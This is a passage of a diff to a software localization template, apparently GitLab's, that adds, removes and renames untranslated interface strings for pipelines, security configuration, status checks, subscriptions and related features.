-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23341,7 +23762,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23356,6 +23777,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23407,6 +23831,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23542,6 +23969,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23620,6 +24050,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23674,6 +24107,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23740,6 +24221,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23797,6 +24281,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23818,6 +24305,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23872,6 +24362,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23902,9 +24395,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24202,9 +24692,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24241,6 +24737,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24250,6 +24749,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24283,9 +24785,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24313,6 +24812,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24469,6 +24971,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24823,7 +25328,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25081,6 +25586,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25234,9 +25742,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25711,9 +26216,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25765,12 +26267,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25783,6 +26279,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25795,9 +26294,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25813,10 +26309,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25825,9 +26321,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26575,9 +27068,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26587,6 +27077,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26685,7 +27178,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26918,9 +27411,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26936,6 +27426,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27879,6 +28372,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28456,16 +28961,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28480,6 +28994,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28492,6 +29009,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28504,10 +29024,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28516,6 +29036,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28570,6 +29093,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28588,9 +29114,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28612,9 +29135,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28783,6 +29303,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -28849,6 +29372,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29083,6 +29609,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29236,9 +29765,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29473,9 +29999,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29714,6 +30237,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29807,6 +30336,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30044,6 +30576,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30350,6 +30885,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30365,10 +30903,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30590,18 +31131,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30635,9 +31215,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30692,6 +31269,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30797,6 +31377,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30908,6 +31491,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30932,6 +31518,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31043,42 +31632,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31088,18 +31728,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31118,6 +31788,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31340,6 +32013,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31494,9 +32170,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31636,6 +32309,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31666,7 +32342,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31689,6 +32365,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31880,6 +32559,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31925,6 +32607,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31943,9 +32628,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32249,9 +32931,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32318,12 +32997,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32351,6 +33024,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32414,9 +33090,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32459,9 +33132,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32585,7 +33255,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32687,9 +33360,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33023,6 +33693,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33065,9 +33738,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33092,6 +33762,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33143,9 +33816,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33176,12 +33846,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33191,6 +33855,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33242,6 +33909,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33417,9 +34087,6 @@ msgstr[1] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33534,9 +34201,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33654,13 +34318,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33690,9 +34354,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33890,6 +34551,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34115,6 +34779,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34358,6 +35025,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34517,6 +35187,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34838,6 +35511,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34847,6 +35523,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34955,27 +35634,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
